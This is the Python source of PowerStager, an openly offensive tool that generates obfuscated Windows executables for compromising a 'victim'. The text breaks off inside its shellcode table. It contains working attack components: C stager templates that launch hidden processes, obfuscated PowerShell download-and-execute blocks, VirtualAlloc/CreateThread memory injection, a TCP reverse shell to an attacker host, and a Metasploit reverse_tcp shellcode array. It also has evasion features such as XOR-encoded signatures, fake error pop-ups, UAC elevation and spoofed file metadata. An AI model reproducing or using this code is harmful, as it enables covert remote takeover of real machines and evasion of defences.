#!/usr/bin/env python3 import os import sys import getopt import glob import socket import fcntl import errno import string import re import random import base64 import time import datetime import urllib import hashlib import readline import signal import names #* # TODO :: # Add persistence for reverse-shell #* # Help notes and description help_notes = """ PowerStager 0.2.5 --------------- Created by: z0noxz https://github.com/z0noxz/powerstager Description: This script creates an executable stager that downloads a selected powershell payload, loads it into memory and executes it using obfuscated EC methods. The script will also bxor the stager for dynamic signatures and some additional obfuscation. This enables the actual payload to be executed indirectly without the victim downloading it, only by executing the stager. The attacker can then for example implement evasion techniques on the web server, hosting the payload, instead of in the stager itself. Additional methods allows the payload to be embedded into the 'stager' and temporarily stored encrypted on disk for memory injection. Not only are powershell powerful when managing Windows, it's also powerful when exploiting Windows. This script exploits multiple Windows features such as its inherit trust of powershell, interpretation of shorthand syntaxes, code evaluation and more... Program dependencies: * i686-w64-mingw32-gcc ([_CHECK_i686_]) * x86_64-w64-mingw32-gcc ([_CHECK_x86_64_]) * i686-w64-mingw32-windres ([_CHECK_i686_WINDRES_]) * x86_64-w64-mingw32-windres ([_CHECK_x86_64_WINDRES_]) Usage: powerstager [options] Options: -h, --help Show this help message and exit. (duh) Method: \033[3mOne of these options has to be provided to define the method\033[0m -u, --url=URL Payload URL for online staging -p, --path=PATH Payload path for embedded staging -r, --reverse-shell embedded reverse shell (use netcat or --listener) \033[96m--listener will provide more features\033[0m -m, --meterpreter embedded meterpreter staging (reverse_tcp) \033[96m--path and --meterpreter will dump\033[0m \033[96mthe payload to disk temporary\033[0m Mandatory: -o, --output=PATH File output for generated executable -t, --target=NAME Platform target win32/win64 Reverse Shell: \033[3mMandatory options if the reverse-shell method is selected\033[0m --lhost=LHOST Listener host IP address (e.g. 13.37.13.37) --lport=LPORT Listener port (e.g. 4444) Meterpreter: \033[3mMandatory options if the meterpreter method is selected\033[0m --lhost=LHOST Listener host IP address (e.g. 13.37.13.37) --lport=LPORT Listener port (e.g. 4444) Optional: --listener Automatically starts a listener (reverse-shell) --obfuscation Adds an extra layer of obfuscation --icon Adds an application icon to the executable --source-only Skip compiling and only output c source --fake-error="T::C" Show fake error after execution. Leave blank for default -g, --generate Only outputs the --url ready payload -e, --use-elevation Implementation of privilage elevation (using UAC) \033[96melevation only works with --url\033[0m Note: \033[91mAll powershell activity will be logged in Windows event log.\033[0m Listener Commands: \033[3mAll listener commands start with 'Local-'. Listener also features autocomplete using \033[0m \033[3mApart from listener commands exit and clear can also be called\033[0m \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Invoke\033[0m \033[3mInvokes powershell script files from host\033[0m \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Import-Module\033[0m \033[3mImports powershell modules from host\033[0m \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Set-Width\033[0m \033[3mChanges the buffer width on remote client\033[0m \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Upload\033[0m \033[3mUploads files from host\033[0m \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Download\033[0m \033[3mDownloads files from client\033[0m \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Download-Commands\033[0m \033[3mDownloads available powershell commands from client\033[0m \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Enumerate-System\033[0m \033[3mRuns enumeration scripts on client\033[0m \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Check-Status\033[0m \033[3mCollects user and privilage status from client\033[0m \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Spawn-Meterpreter\033[0m \033[3mSpawns meterpreter shells on client\033[0m \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Spawn-Reverse-Shell\033[0m \033[3mSpawns reverse shells on client\033[0m \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Credential-Create\033[0m \033[3mCreates credentials on client\033[0m \033[94m[*]\033[0m \033[1m\033[38;5;255mLocal-Credential-List\033[0m \033[3mLists created credentials on client\033[0m """ windres_manifest_elevation = """ """ windres_manifest = """ [_RC_ELEVATION_] """ windres_resource = """#include [_RC_ICON_] 1 24 "[_RC_MANIFEST_FILE_]" 1 VERSIONINFO FILEVERSION 1,0,0,0 PRODUCTVERSION 1,0,0,0 BEGIN BLOCK "StringFileInfo" BEGIN BLOCK "040904E4" BEGIN VALUE "CompanyName" , "[_RC_COMPANY_NAME_]" VALUE "FileDescription" , "[_RC_DESCRIPTION_]" VALUE "FileVersion" , "1.0" VALUE "InternalName" , "[_RC_INTERNAL_NAME_]" VALUE "LegalCopyright" , "[_RC_LEGAL_NAME_]" VALUE "OriginalFilename" , "[_RC_OUTPUT_NAME_]" VALUE "ProductName" , "[_RC_APPLICATION_NAME_]" VALUE "ProductVersion" , "1.0" END END BLOCK "VarFileInfo" BEGIN VALUE "Translation", 0x409, 1252 END END """ class Utility(object): # Collision list for dynamic variable creation collision_list = [] configuration = {} @staticmethod def remove_encapsulating_quotes(text): # Primary path strip text = text.strip() # Remove unwanted quotes if text.startswith('"') and text.endswith('"'): text = text[1:-1] if text.startswith("'") and text.endswith("'"): text = text[1:-1] # Secondary path strip return text.strip() @staticmethod def get_terminal_width(): rows, columns = os.popen("stty size", "r").read().split() return int(columns) # Powershell ready base64 encoder @staticmethod def ps_base64encode(data): return base64.b64encode(data.encode("UTF-16LE")).decode("utf-8", "ignore") # Creates dynamic variable names while checking for name collisions @staticmethod def dynamic_variable(): holder = "" while holder == "" or holder in Utility.collision_list or holder[0].isdigit(): # holder = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for x in range(random.randint(6, 12))) holder = "".join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for x in range(12)) Utility.collision_list.append(holder) return holder # Checks if program is installed and executable @staticmethod def which(program): def is_exe(fpath): return os.path.isfile(fpath) and os.access(fpath, os.X_OK) fpath, fname = os.path.split(program) if fpath: if is_exe(program): return program else: for path in os.environ["PATH"].split(os.pathsep): path = path.strip('"') exe_file = os.path.join(path, program) if is_exe(exe_file): return exe_file return None # Replaces nth occurrence (maybe overkill as the only call is for first occurrence) @staticmethod def replace_nth(subject, source, target, n): indices = [index for index in range(len(subject) - len(source) + 1) if subject[index:index + len(source)] == source] if len(indices) < n: return subject subject = list(subject) subject[indices[n - 1]:indices[n - 1] + len(source)] = target return "".join(subject) # Integer to binary converter @staticmethod def binary_array_string(n): if (n == 0): yield 0 else: while n: yield n & 0xff n = n >> 8 @staticmethod def local_address_to_binary_array_string(lhost, lport): try: lhost = lhost.split(".") lhost = [int(byte) for byte in lhost] lhost = [byte for byte in lhost if byte >= 0 and byte <= 255] lport = int(lport) if len(lhost) == 4 and lport > 0 and lport <= 65535: return (",".join(hex(b) for b in list(Utility.binary_array_string(lport))[::-1]), (",".join(hex(b) for b in (list(Utility.binary_array_string(lhost[0])) + list(Utility.binary_array_string(lhost[1])) + list(Utility.binary_array_string(lhost[2])) + list(Utility.binary_array_string(lhost[3])))))) except: Print.error("There is something wrong with the LHOST and LPORT") sys.exit(2) @staticmethod def replace_all(string, target, replacement): target = list(target) replacement = list(replacement) for i in range(len(target)): if (i > (len(replacement) - 1)): break string = string.replace(target[i], replacement[i]) return string @staticmethod def load_configuration(configuration): Utility.configuration = configuration @staticmethod def get_configuration_value(name): return Utility.configuration[name] if name in Utility.configuration else None @staticmethod def enum(**enums): return type("Enum", (), enums) @staticmethod def is_url(url): return bool(urllib.parse.urlparse(url).scheme) @staticmethod def is_ipv4_address(address): try: socket.inet_pton(socket.AF_INET, address) except AttributeError: try: socket.inet_aton(address) except socket.error: return False return [x for x in address.split(".") if (len(x) > 0 and x.isdigit() and int(x) >= 0 and int(x) <= 255)] == 4 except socket.error: return False return True # Class for printing and styling text to terminal class Print(object): name_value_list = [] @staticmethod def text(text="", continuous=False): if continuous: sys.stdout.write(" " + text) sys.stdout.flush() else: print(" " + text) return len(text) @staticmethod def info(text="", continuous=False): return Print.text("\033[94m[i]\033[0m " + text, continuous) @staticmethod def warning(text="", continuous=False): return Print.text("\033[96m[!]\033[0m " + text, continuous) @staticmethod def status(text="", continuous=False): return Print.text("\033[94m[*]\033[0m " + text, continuous) @staticmethod def error(text="", continuous=False): return Print.text("\033[91m[-]\033[0m " + text, continuous) @staticmethod def success(text="", continuous=False): return Print.text("\033[92m[+]\033[0m " + text, continuous) @staticmethod def wipe(count=48, back=False): return (("\b" * count) if back else "") + (" " * count) + ("\b" * count) @staticmethod def confirm(text="", yes_is_default=True): while True: try: if yes_is_default: return not (input(" \033[38;5;133m[?] " + text + " (Y/n): \033[0m").strip()).lower() in ["n", "no"] else: return (input(" \033[38;5;133m[?] " + text + " (y/N): \033[0m").strip()).lower() in ["y", "yes"] # Catch keyboard interrupt except KeyboardInterrupt: pass @staticmethod def size(size): for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: if abs(size) < 1024.0: return "%3.1f %s" % (size, (unit + "B")) size /= 1024.0 return "%.1f%s%s" % (size, "Yi", suffix) @staticmethod def ETA(start, part, total): elapsed = (time.time() - start) speed = (part / elapsed) eta = ((total - part) / speed) return "ETA: " + str(datetime.timedelta(seconds=int(eta))) @staticmethod def add_name_value(name="", value="", func=None): Print.name_value_list.append({"name": name, "value": value, "func": func}) @staticmethod def name_value_print(): for line in Print.name_value_list: (line["func"] if line["func"] is not None else Print.text)(line["name"] + (" " * (len(max(Print.name_value_list, key=lambda x: len(x["name"]))["name"]) - len(line["name"]) + 4)) + ": " + line["value"]) Print.name_value_list = [] obfuscation_type = Utility.enum( COMMAND = 1, ARGUMENT = 2, MEMBER = 3, TYPE = 4, ) os_target = Utility.enum( WIN32 = 32, WIN64 = 64, ) conf_name = Utility.enum( URL = "url", PATH = "path", OUTPUT = "output", TARGET = "target", OBFUSCATION = "obfuscation", REVERSE_SHELL = "reverse_shell", METERPRETER = "meterpreter", ICON = "icon", LHOST = "lhost", LPORT = "lport", LISTENER = "listener", GENERATE = "generate", FAKE_ERROR = "fake-error", SOURCE_ONLY = "source-only", ELEVATION = "use-elevation", ) powershell_block = Utility.enum( MAIN = "main", BASE64_DECODER = "base64_decoder", XOR_DECRYPTOR = "xor_decryptor", WEB_CLIENT = "web_client", ENCODED_COMMAND = "encoded_command", MEMORY_INJECTION = "memory_injection", REVERSE_SHELL = "reverse_shell", ) shellcode = Utility.enum( REVERSE_TCP_64 = "reverse_tcp_64", REVERSE_TCP_32 = "reverse_tcp_32", ) # Placeholder values for powershell blocks with obfuscation techniques obfuscation = { "[_OBF_NEW_OBJECT_]" : { "text" : "new-object", "type" : obfuscation_type.COMMAND, }, "[_OBF_ADD_TYPE_]" : { "text" : "add-type", "type" : obfuscation_type.COMMAND, }, "[_OBF_SLEEP_]" : { "text" : ["start-sleep"], #["sleep", "start-sleep"], ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012 "type" : obfuscation_type.COMMAND, }, "[_OBF_GET_ITEM_]" : { "text" : ["get-item"], #["gi", "get-item"], ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012 "type" : obfuscation_type.COMMAND, }, "[_OBF_START_]" : { "text" : ["start-process"], #["start", "start-process"], ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012 "type" : obfuscation_type.COMMAND, }, "[_OBF_INVOKE_EXPRESSION_]" : { "text" : ["invoke-expression"], #["iex", "invoke-expression"], ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012 "type" : obfuscation_type.COMMAND, }, "[_OBF_SV_]" : { "text" : ["set-variable"], #["sv", "set-variable"], ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012 "type" : obfuscation_type.COMMAND, }, "[_OBF_GV_]" : { "text" : ["get-variable"], #["gv", "get-variable"], ## ERROR, aliases cannot be accessed by name using command invokation in windows server 2012 "type" : obfuscation_type.COMMAND, }, "[_OBF_INVOKE_COMMAND_]" : { "text" : "invokecommand", "type" : obfuscation_type.ARGUMENT, }, "[_OBF_UNICODE_]" : { "text" : "unicode", "type" : obfuscation_type.ARGUMENT, }, "[_OBF_LENGTH_]" : { "text" : "length", "type" : obfuscation_type.ARGUMENT, }, "[_OBF_VALUE_]" : { "text" : "value", "type" : obfuscation_type.ARGUMENT, }, "[_OBF_WEB_CLIENT_]" : { "text" : "net.webclient", "type" : obfuscation_type.ARGUMENT, }, "[_OBF_TEXT_ENCODING_]" : { "text" : "text.encoding", "type" : obfuscation_type.ARGUMENT, }, "[_OBF_TEXT_ASCII_]" : { "text" : "text.asciiencoding", "type" : obfuscation_type.ARGUMENT, }, "[_OBF_TEXT_UNICODE_]" : { "text" : "text.unicodeencoding", "type" : obfuscation_type.ARGUMENT, }, "[_OBF_TCP_CLIENT_]" : { "text" : "net.sockets.tcpclient", "type" : obfuscation_type.ARGUMENT, }, "[_OBF_DOWNLOAD_STRING_]" : { "text" : "downloadstring", "type" : obfuscation_type.MEMBER, }, "[_OBF_GET_STREAM_]" : { "text" : "getstream", "type" : obfuscation_type.MEMBER, }, "[_OBF_TOINT16_]" : { "text" : "toint16", "type" : obfuscation_type.MEMBER, }, "[_OBF_INVOKE_SCRIPT_]" : { "text" : "invokescript", "type" : obfuscation_type.MEMBER, }, "[_OBF_GET_BYTES_]" : { "text" : "getbytes", "type" : obfuscation_type.MEMBER, }, "[_OBF_GET_STRING_]" : { "text" : "getstring", "type" : obfuscation_type.MEMBER, }, "[_OBF_GET_ENCODING_]" : { "text" : "getencoding", "type" : obfuscation_type.MEMBER, }, "[_OBF_WRITE_]" : { "text" : "write", "type" : obfuscation_type.MEMBER, }, "[_OBF_CLEAR_]" : { "text" : "clear", "type" : obfuscation_type.MEMBER, }, "[_OBF_FLUSH_]" : { "text" : "flush", "type" : obfuscation_type.MEMBER, }, "[_OBF_CLOSE_]" : { "text" : "close", "type" : obfuscation_type.MEMBER, }, "[_OBF_TO_STRING_]" : { "text" : "tostring", "type" : obfuscation_type.MEMBER, }, "[_OBF_TO_B64_STRING_]" : { "text" : "tobase64string", "type" : obfuscation_type.MEMBER, }, "[_OBF_VIRTUAL_ALLOC_]" : { "text" : "virtualalloc", "type" : obfuscation_type.MEMBER, }, "[_OBF_MAX_]" : { "text" : "max", "type" : obfuscation_type.MEMBER, }, "[_OBF_MEMSET_]" : { "text" : "memset", "type" : obfuscation_type.MEMBER, }, "[_OBF_CREATE_THREAD_]" : { "text" : "createthread", "type" : obfuscation_type.MEMBER, }, "[_OBF_CHAR_]" : { "text" : "char", "type" : obfuscation_type.TYPE, }, "[_OBF_BYTE_]" : { "text" : "byte", "type" : obfuscation_type.TYPE, }, "[_OBF_VOID_]" : { "text" : "void", "type" : obfuscation_type.TYPE, }, "[_OBF_INTPTR_]" : { "text" : "intptr", "type" : obfuscation_type.TYPE, }, "[_OBF_CONVERT_]" : { "text" : "convert", "type" : obfuscation_type.TYPE, }, "[_OBF_NONINTERACTIVE_]" : { "text" : [[x[:i] for i in range(4,len(x)+1)] for x in ["noninteractive"]][0], "type" : None, }, "[_OBF_NOLOGO_]" : { "text" : [[x[:i] for i in range(3,len(x)+1)] for x in ["nologo"]][0], "type" : None, }, "[_OBF_NOPROFILE_]" : { "text" : [[x[:i] for i in range(3,len(x)+1)] for x in ["noprofile"]][0], "type" : None, }, "[_OBF_WINDOWSTYLE_]" : { "text" : [[x[:i] for i in range(1,len(x)+1)] for x in ["windowstyle"]][0], "type" : None, }, "[_OBF_EXECUTIONPOLICY_]" : { "text" : [[x[:i] for i in range(2,len(x)+1)] for x in ["executionpolicy"]][0], "type" : None, }, "[_OBF_ARGUMENTLIST_]" : { "text" : [[x[:i] for i in range(1,len(x)+1)] for x in ["argumentlist"]][0], "type" : None, }, "[_OBF_COMMAND_]" : { "text" : [[x[:i] for i in range(1,len(x)+1)] for x in ["command"]][0], "type" : None, }, "[_OBF_JOIN_]" : { "text" : "join", "type" : None, }, "[_OBF_VERB_]" : { "text" : "verb", "type" : None, }, "[_OBF_PASSTHRU_]" : { "text" : "passthru", "type" : None, }, "[_OBF_NONEWWINDOW_]" : { "text" : "nonewwindow", "type" : None, }, "[_OBF_SPLIT_]" : { "text" : "split", "type" : None, }, "[_OBF_BXOR_]" : { "text" : "bxor", "type" : None, }, "[_OBF_HIDDEN_]" : { "text" : "hidden", "type" : None, }, "[_OBF_RUNAS_]" : { "text" : "runas", "type" : None, }, "[_OBF_BYPASS_]" : { "text" : "bypass", "type" : None, }, "[_OBF_EXECUTIONCONTEXT_]" : { "text" : "executioncontext", "type" : None, }, "[_OBF_AS_]" : { "text" : "as", "type" : None, }, "[_OBF_POWERSHELL_]" : { "text" : "powershell", "type" : None, }, "[_OBF_CMD_]" : { "text" : "cmd", "type" : None, }, } c_source_mb = """ MessageBox(NULL,\"[_VAL_MB_CONTENT_]\",\"[_VAL_MB_TITLE_]\",MB_ICONERROR|MB_OK); return 1; """ # Normal C source for decryption and process execution through system() call c_source = """#include #include int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int cmdShow ) { STARTUPINFO [_VAR_SI_]; PROCESS_INFORMATION [_VAR_PI_]; memset(&[_VAR_SI_], 0, sizeof([_VAR_SI_])); [_VAR_SI_].cb = sizeof(STARTUPINFO); [_VAR_SI_].dwFlags = STARTF_USESHOWWINDOW; [_VAR_SI_].wShowWindow = SW_HIDE; int [_VAR_X_]; char [_VAR_STR_][] = {[_VAL_STR_]}; char [_VAR_KEY_][] = {[_VAL_KEY_]}; for ([_VAR_X_] = 0; [_VAR_X_] < sizeof([_VAR_STR_]) / sizeof([_VAR_STR_][0]); [_VAR_X_]++) { [_VAR_STR_][[_VAR_X_]] = [_VAR_STR_][[_VAR_X_]] ^ [_VAR_KEY_][[_VAR_X_] % sizeof([_VAR_KEY_])]; } CreateProcess( NULL, [_VAR_STR_], NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &[_VAR_SI_], &[_VAR_PI_] ); [_MB_] } """ # C source for XOR decryption and process execution of embedded code through system() call c_source_embedded = """#define _CRT_SECURE_NO_DEPRECATE #include #include #include int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int cmdShow ) { STARTUPINFO [_VAR_SI_]; PROCESS_INFORMATION [_VAR_PI_]; memset(&[_VAR_SI_], 0, sizeof([_VAR_SI_])); [_VAR_SI_].cb = sizeof(STARTUPINFO); [_VAR_SI_].dwFlags = STARTF_USESHOWWINDOW; [_VAR_SI_].wShowWindow = SW_HIDE; int [_VAR_X_]; char [_VAR_PATH_][256]; const char* [_VAR_TEMP_] = getenv("TEMP"); snprintf([_VAR_PATH_], 255, "%s\\\\[_TMP_FILENAME_]", [_VAR_TEMP_]); FILE *[_VAR_FILE_] = fopen([_VAR_PATH_], "wb"); if ([_VAR_FILE_] == NULL) { exit(1); } char [_VAR_STR_EMB_][] = {[_VAL_STR_EMB_]}; char [_VAR_KEY_EMB_][] = {[_VAL_KEY_EMB_]}; for ([_VAR_X_] = 0; [_VAR_X_] < sizeof([_VAR_STR_EMB_]) / sizeof([_VAR_STR_EMB_][0]); [_VAR_X_]++) { [_VAR_STR_EMB_][[_VAR_X_]] = [_VAR_STR_EMB_][[_VAR_X_]] ^ [_VAR_KEY_EMB_][[_VAR_X_] % sizeof([_VAR_KEY_EMB_])]; } fwrite([_VAR_STR_EMB_], 1, sizeof([_VAR_STR_EMB_]), [_VAR_FILE_]); fclose([_VAR_FILE_]); char [_VAR_STR_STG_][] = {[_VAL_STR_STG_]}; char [_VAR_KEY_STG_][] = {[_VAL_KEY_STG_]}; for ([_VAR_X_] = 0; [_VAR_X_] < sizeof([_VAR_STR_STG_]) / sizeof([_VAR_STR_STG_][0]); [_VAR_X_]++) { [_VAR_STR_STG_][[_VAR_X_]] = [_VAR_STR_STG_][[_VAR_X_]] ^ [_VAR_KEY_STG_][[_VAR_X_] % sizeof([_VAR_KEY_STG_])]; } CreateProcess( NULL, [_VAR_STR_STG_], NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &[_VAR_SI_], &[_VAR_PI_] ); [_MB_] } """ # Fairly obfuscated building blocks for powershell commands powershell_blocks = { # Main powershell_block.MAIN : "[_OBF_POWERSHELL_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_COMMAND_] \"[_PS_LOAD_]\"", # Base64 decoder powershell_block.BASE64_DECODER : "([[_OBF_CONVERT_]]::[_OBF_TO_B64_STRING_]([Text.Encoding]::[_OBF_UNICODE_].[_OBF_GET_BYTES_]([_PS_LOAD_])))", # XOR decryptor powershell_block.XOR_DECRYPTOR : "([[_OBF_CHAR_][]](([[_OBF_CHAR_][]][_PS_LOAD_])|%{$[_PS_XOR_I_]=0}{$_-[_OBF_BXOR_]'[_PS_XOR_KEY_]'[$[_PS_XOR_I_]++%[_PS_XOR_KEY_SIZE_]]})-[_OBF_JOIN_]'')", # System.Net.WebClient powershell_block.WEB_CLIENT : "([_OBF_NEW_OBJECT_] [_OBF_WEB_CLIENT_]).[_OBF_DOWNLOAD_STRING_]([_URL_])", # Encoded command powershell_block.ENCODED_COMMAND : "[_OBF_SV_] [_PS_VAR_1_] [_PS_VAR_C45_A_];[_OBF_SV_] [_PS_VAR_2_] [_PS_VAR_C101_A_];[_OBF_SV_] [_PS_VAR_3_] [_PS_VAR_C99_A_];[_OBF_SV_] [_PS_VAR_4_](((([_OBF_GV_] [_PS_VAR_1_]).[_OBF_VALUE_]+[_PS_VAR_C45_B_])-[_OBF_AS_][[_OBF_CHAR_]]).[_OBF_TO_STRING_]()+((([_OBF_GV_] [_PS_VAR_2_]).[_OBF_VALUE_]+[_PS_VAR_C101_B_])-[_OBF_AS_][[_OBF_CHAR_]]).[_OBF_TO_STRING_]()+((([_OBF_GV_] [_PS_VAR_3_]).[_OBF_VALUE_]+[_PS_VAR_C99_B_])-[_OBF_AS_][[_OBF_CHAR_]]).[_OBF_TO_STRING_]());[_OBF_POWERSHELL_] -[_OBF_NONINTERACTIVE_] -[_OBF_NOLOGO_] -[_OBF_NOPROFILE_] -[_OBF_WINDOWSTYLE_] [_OBF_HIDDEN_] -[_OBF_EXECUTIONPOLICY_] [_OBF_BYPASS_] ([_OBF_GV_] [_PS_VAR_4_]).[_OBF_VALUE_].[_OBF_TO_STRING_]()[_PS_LOAD_]", # Memory injection powershell_block.MEMORY_INJECTION : "$[_PS_WF_]=[_OBF_ADD_TYPE_] -m '[DllImport(\"kernel32.dll\")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\"kernel32.dll\")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\"msvcrt.dll\")] public static extern IntPtr memset(IntPtr dest, uint src, uint count);' -name 'Win32' -ns Win32Functions -pas;[[_OBF_BYTE_][]]$[_PS_VAR_PAYLOAD_]=[_PS_PAYLOAD_];$[_PS_VAR_X_]=$[_PS_WF_]::[_OBF_VIRTUAL_ALLOC_](0,[Math]::[_OBF_MAX_]($[_PS_VAR_PAYLOAD_].[_OBF_LENGTH_],0x1000),0x3000,0x40);for($[_PS_VAR_I_]=0;$[_PS_VAR_I_] -le ($[_PS_VAR_PAYLOAD_].[_OBF_LENGTH_]-1);$[_PS_VAR_I_]++){[[_OBF_VOID_]]$[_PS_WF_]::[_OBF_MEMSET_]([[_OBF_INTPTR_]]($[_PS_VAR_X_].ToInt[_PS_ARCHITECTURE_]()+$[_PS_VAR_I_]),$[_PS_VAR_PAYLOAD_][$[_PS_VAR_I_]],1)};$[_PS_WF_]::[_OBF_CREATE_THREAD_](0,0,$[_PS_VAR_X_],0,0,0);[_OBF_SLEEP_] 100000", # Reverse powershell powershell_block.REVERSE_SHELL : "$[_PS_VAR_ASCII_]=([_OBF_NEW_OBJECT_] [_OBF_TEXT_ASCII_]);$[_PS_VAR_UNICODE_]=[text.encoding]::[_OBF_GET_ENCODING_]('iso-8859-1');$[_PS_VAR_CLIENT_]=[_OBF_NEW_OBJECT_] [_OBF_TCP_CLIENT_]('[_LHOST_]',[_LPORT_]);$[_PS_VAR_STREAM_]=$[_PS_VAR_CLIENT_].[_OBF_GET_STREAM_]();$[_PS_VAR_SEND_]=$[_PS_VAR_UNICODE_].[_OBF_GET_BYTES_](\"Windows PowerShell`nrunning as \"+$env:username+\"@\"+$env:computername+\"`n`nPS \"+(Get-Location).Path+\">\");$[_PS_VAR_STREAM_].[_OBF_WRITE_]($[_PS_VAR_SEND_],0,$[_PS_VAR_SEND_].[_OBF_LENGTH_]);[[_OBF_BYTE_][]]$[_PS_VAR_BYTES_]=0..1024|%{0};while(($[_PS_VAR_I_]=$[_PS_VAR_STREAM_].Read($[_PS_VAR_BYTES_],0,$[_PS_VAR_BYTES_].[_OBF_LENGTH_])) -ne 0){$[_PS_VAR_SEND_]=$[_PS_VAR_UNICODE_].[_OBF_GET_BYTES_]((iex ($[_PS_VAR_UNICODE_].[_OBF_GET_STRING_]($[_PS_VAR_BYTES_],0,$[_PS_VAR_I_])) 2>&1|Out-String)+(&{If($error[0]){(\"exception ::`n\"+($error[0]|Out-String)+\"`n:: exception`n\")}else{''}})+\"PS \"+(Get-Location).Path+\"> \");$error.[_OBF_CLEAR_]();$[_PS_VAR_STREAM_].[_OBF_WRITE_]($[_PS_VAR_SEND_],0,$[_PS_VAR_SEND_].[_OBF_LENGTH_]);$[_PS_VAR_STREAM_].[_OBF_FLUSH_]();}$[_PS_VAR_CLIENT_].[_OBF_CLOSE_]();", } # Payloads prepared for memory injection shellcodes = { # reverse_tcp stager stager for metasploit. shellcode.REVERSE_TCP_64 : "0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51," + "0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52," + "0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0," + "0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed," + "0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78," + "0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48," + "0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49," + "0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31," + "0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1," + "0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49," + "0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b," + "0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59," + "0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b," + "0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00," + "0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5," + "0x49,0xbc,0x02,0x00,[_LPORT_]," + "[_LHOST_]" + ",0x41,0x54,0x49,0x89,0xe4,0x4c," # << LPORT and LHOST gets declared here as 6 bytes + "0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01," + "0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x41,0x5e,0x50," + "0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0," + "0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10," + "0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5," + "0x85,0xc0,0x74,0x0c,0x49,0xff,0xce,0x75,0xe5,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5," + "0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89," + "0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6," + "0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31," + "0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d," + "0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8," + "0x5f,0xff,0xd5,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xe1,0x41,0xff," + "0xe7", shellcode.REVERSE_TCP_32 : 